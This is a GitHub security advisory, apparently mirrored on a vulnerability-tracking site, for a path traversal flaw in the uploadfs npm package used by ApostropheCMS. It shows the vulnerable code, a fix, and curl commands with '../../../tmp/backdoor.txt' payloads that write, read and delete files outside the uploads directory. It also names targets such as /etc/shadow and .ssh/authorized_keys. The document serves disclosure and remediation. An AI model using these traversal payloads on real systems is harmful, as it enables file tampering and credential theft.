GHSA-GMFX-5G6X-RR72
Vulnerability from github – Published: 2026-10-20 18:21 – Updated: 2026-10-20 18:21Summary
The uploadfs library's local storage backend does not validate or sanitize user-supplied paths. The prefixPath() helper only strips double slashes (//) and the backend performs direct string concatenation (uploadsPath + path). An attacker can inject ../ sequences to escape the intended uploads directory, resulting in arbitrary file read, write, and delete on the host filesystem.
Details
Root Cause
packages/uploadfs/uploadfs.js:652-655
https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/uploadfs.js#L652-L655
function prefixPath(path) {
// Resolve any double // that results from the prefix
return (self.prefix + path).replace(/\/\//g, '/');
}
packages/uploadfs/lib/storage/local.js
https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L92-L95 https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L102-L104 https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L106-L108
copyIn: function(localPath, path, options, callback) {
const uploadPath = uploadsPath + path; // [VULNERABLE]
return copyFile(localPath, uploadPath, callback);
},
streamOut: function(path, options) {
return fs.createReadStream(uploadsPath + path); // [VULNERABLE]
},
remove: function(path, callback) {
const uploadPath = uploadsPath + path; // [VULNERABLE]
fs.unlink(uploadPath, callback);
prefixPath()does not normalize paths or reject../.- The local backend concatenates the path directly into the filesystem call.
- Node.js resolves
/app/uploads/../../../tmp/pwned.txt→/tmp/pwned.txt.
Proof of Concept (PoC)
Here is the poc files https://drive.proton.me/urls/AKY4V5S0JR#Vw6XJdVCZafk
Build and run
docker load < apostrophe-uploadfs-poc.tar
docker run -d -p 3000:3000 --name uploadfs-poc apostrophe-uploadfs-poc
python3 exploit.py
Expected output
[UPLOAD] Status: 200 | Body: Uploaded to ../../../tmp/pwned.txt
[READ]
Status: 200| Body: You have been pwned!
[+] Vulnerability confirmed: arbitrary file write/read/delete via path traversal.
Manual reproduction
# Write outside uploads directory
curl -X POST http://localhost:3000/upload \
-F "path=../../../tmp/backdoor.txt" \
-F "file=@-;filename=backdoor.txt" <<< "malicious content"
# Read it back
curl "http://localhost:3000/read?path=../../../tmp/backdoor.txt"
# Delete it
curl -X DELETE "http://localhost:3000/remove?path=../../../tmp/backdoor.txt"
Impact
| Capability | Risk |
|---|---|
| Arbitrary File Write | Write to /etc/cron.d/, .ssh/authorized_keys, or webroot files → Remote Code Execution |
| Arbitrary File Read | Exfiltrate /etc/shadow, application configs, database credentials |
| Arbitrary File Delete | Destroy system or application files → Denial of Service |
Remediation
Add path containment validation inside uploadfs (and every storage backend) before any filesystem operation:
const path = require('path');
function safePath(base, target) {
const resolved = path.resolve(base, target);
if (!resolved.startsWith(path.resolve(base) + path.sep)) {
throw new Error('Path traversal blocked: target is outside the intended directory');
}
return resolved;
}
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "uploadfs"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.28.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-113651"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-20T18:21:59Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "## Summary\nThe `uploadfs` library\u0027s local storage backend does not validate or sanitize user-supplied paths. The `prefixPath()` helper only strips double slashes (`//`) and the backend performs direct string concatenation (`uploadsPath + path`). An attacker can inject `../` sequences to escape the intended uploads directory, resulting in arbitrary file read, write, and delete on the host filesystem.\n\n---\n\n## Details\n\n### Root Cause\n`packages/uploadfs/uploadfs.js:652-655`\n\nhttps://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/uploadfs.js#L652-L655\n\n```javascript\nfunction prefixPath(path) {\n // Resolve any double // that results from the prefix\n return (self.prefix + path).replace(/\\/\\//g, \u0027/\u0027);\n}\n```\n\n`packages/uploadfs/lib/storage/local.js`\n\nhttps://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L92-L95\nhttps://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L102-L104\nhttps://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L106-L108\n\n\n```javascript\ncopyIn: function(localPath, path, options, callback) {\n const uploadPath = uploadsPath + path; // [VULNERABLE]\n return copyFile(localPath, uploadPath, callback);\n},\nstreamOut: function(path, options) {\n return fs.createReadStream(uploadsPath + path); // [VULNERABLE]\n},\nremove: function(path, callback) {\n const uploadPath = uploadsPath + path; // [VULNERABLE]\n fs.unlink(uploadPath, callback);\n```\n\n- `prefixPath()` does **not** normalize paths or reject `../`.\n- The local backend concatenates the path directly into the filesystem call.\n- Node.js resolves `/app/uploads/../../../tmp/pwned.txt` \u2192 `/tmp/pwned.txt`.\n\n---\n\n## Proof of Concept (PoC)\n\nHere is the poc files \nhttps://drive.proton.me/urls/AKY4V5S0JR#Vw6XJdVCZafk\n\n### Build and run\n```bash\ndocker load \u003c apostrophe-uploadfs-poc.tar\ndocker run -d -p 3000:3000 --name uploadfs-poc apostrophe-uploadfs-poc\npython3 exploit.py\n```\n\n### Expected output\n```text\n[UPLOAD] Status: 200 | Body: Uploaded to ../../../tmp/pwned.txt\n[READ]\nStatus: 200| Body: You have been pwned!\n[+] Vulnerability confirmed: arbitrary file write/read/delete via path traversal.\n```\n\n\u003cimg width=\"885\" height=\"171\" alt=\"Screenshot 2026-07-22 at 08 57 46\" src=\"https://github.com/user-attachments/assets/1b3ab5d5-43e4-4a81-8d19-c2270da072ae\" /\u003e\n\n### Manual reproduction\n```bash\n# Write outside uploads directory\ncurl -X POST http://localhost:3000/upload \\\n -F \"path=../../../tmp/backdoor.txt\" \\\n -F \"file=@-;filename=backdoor.txt\" \u003c\u003c\u003c \"malicious content\"\n\n# Read it back\ncurl \"http://localhost:3000/read?path=../../../tmp/backdoor.txt\"\n\n# Delete it\ncurl -X DELETE \"http://localhost:3000/remove?path=../../../tmp/backdoor.txt\"\n```\n\n\u003cimg width=\"1004\" height=\"114\" alt=\"Screenshot 2026-07-22 at 08 58 36\" src=\"https://github.com/user-attachments/assets/26b59a98-1834-4f00-8e18-c869812ddd58\" /\u003e\n\n---\n\n## Impact\n\n| Capability | Risk |\n|------------|------|\n| **Arbitrary File Write** | Write to `/etc/cron.d/`, `.ssh/authorized_keys`, or webroot files \u2192 **Remote Code Execution** |\n| **Arbitrary File Read** | Exfiltrate `/etc/shadow`, application configs, database credentials |\n| **Arbitrary File Delete** | Destroy system or application files \u2192 **Denial of Service** |\n\n---\n\n## Remediation\n\nAdd path containment validation inside `uploadfs` (and every storage backend) before any filesystem operation:\n\n```javascript\nconst path = require(\u0027path\u0027);\nfunction safePath(base, target) {\n const resolved = path.resolve(base, target);\n if (!resolved.startsWith(path.resolve(base) + path.sep)) {\n throw new Error(\u0027Path traversal blocked: target is outside the intended directory\u0027);\n }\n return resolved;\n}\n```",
"id": "GHSA-gmfx-5g6x-rr72",
"modified": "2026-10-20T18:21:59Z",
"published": "2026-10-20T18:21:59Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-gmfx-5g6x-rr72"
},
{
"type": "WEB",
"url": "https://github.com/apostrophecms/apostrophe/commit/9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce"
},
{
"type": "WEB",
"url": "https://github.com/apostrophecms/apostrophe/commit/f84fd41cbf6c22eb8d0008fc9c25df1f7130b350"
},
{
"type": "PACKAGE",
"url": "https://github.com/apostrophecms/apostrophe"
},
{
"type": "WEB",
"url": "https://github.com/apostrophecms/apostrophe/releases/tag/uploadfs@1.28.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "ApostropheCMS: Path traversal in uploadfs"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.